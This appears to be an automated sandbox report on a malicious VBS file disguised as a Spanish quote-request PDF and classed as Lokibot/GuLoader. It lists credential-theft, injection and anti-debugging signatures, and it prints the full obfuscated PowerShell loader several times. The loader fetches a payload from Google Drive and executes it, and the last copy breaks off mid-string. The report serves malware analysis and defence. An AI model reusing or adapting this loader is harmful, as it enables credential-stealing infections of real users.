Analysis Overview
SHA256
24bbc0768eee5c4f4d6c3d199295009fb24d285e8f3cec509b755de4c25e8c80
Threat Level: Known bad
The file Solicitud De Presupuesto 09-16-2024·pdf.vbs was found to be: Known bad.
Malicious Activity Summary
Lokibot
Guloader,Cloudeye
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Accesses Microsoft Outlook profiles
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtSetInformationThreadHideFromDebugger
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
outlook_office_path
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious behavior: MapViewOfSection
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-17 14:05
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-17 14:05
Reported
2024-09-17 14:07
Platform
win7-20240903-en
Max time kernel
145s
Max time network
143s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2128 set thread context of 2188 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud De Presupuesto 09-16-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate (benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Polyphobia.chr && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate (benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh 